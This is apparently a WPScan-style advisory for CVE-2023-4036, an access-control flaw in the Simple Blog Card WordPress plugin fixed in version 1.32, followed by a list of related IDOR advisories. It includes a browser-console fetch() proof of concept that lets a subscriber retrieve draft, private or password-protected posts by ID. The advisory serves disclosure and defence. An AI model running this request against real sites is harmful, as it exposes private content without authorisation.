Simple Blog Card < 1.32 – Subscriber+ Arbitrary Post Access | CVE 2023-4036 | Plugin Vulnerabilities

Description

The plugin does not ensure that posts to be displayed via a shortcode are public, allowing any authenticated users, such as subscriber, to retrieve arbitrary post title and their content such as draft, private and password protected ones

Proof of Concept

Run the below command in the developer console of the web browser while being on the blog as a subscriber user

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[simpleblogcard url='?p=53']",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

53 being the ID of a draft/private/password protected post

Affects Plugins

simple-blog-card

Fixed in 1.32

References

CVE

Classification

Type

IDOR

OWASP top 10

A5: Broken Access Control

CWE

CVSS

Miscellaneous

Original Researcher

Erwan LR (WPScan)

Submitter

Erwan LR (WPScan)

Verified

Yes

WPVDB ID

de3e1718-c358-4510-b142-32896ffeb03f

Timeline

Publicly Published

2023-08-07 (about 2 years ago)

Added

2023-08-07 (about 2 years ago)

Last Updated

2023-08-07 (about 2 years ago)

Other

Published

Title

Published

2024-06-03

Title

Essential Real Estate < 4.4.5 - Insecure Direct Object Reference to Arbitrary Attachment Deletion

Published

2025-11-07

Title

Groups < 3.8.0 - Authenticated (Subscriber+) Insecure Direct Object Reference to Arbitrary Group Join

Published

2024-08-16

Title

wpForo Forum < 2.3.5 - Authenticated (Subscriber+) Insecure Direct Object Reference

Published

2024-11-22

Title

Enter Addons – Ultimate Template Builder for Elementor < 2.2.0 - Authenticated (Contributor+) Post Disclosure

Published

2025-12-06

Title

Thim Elementor Kit < 1.3.4 - Authenticated (Contributor+) Insecure Direct Object Reference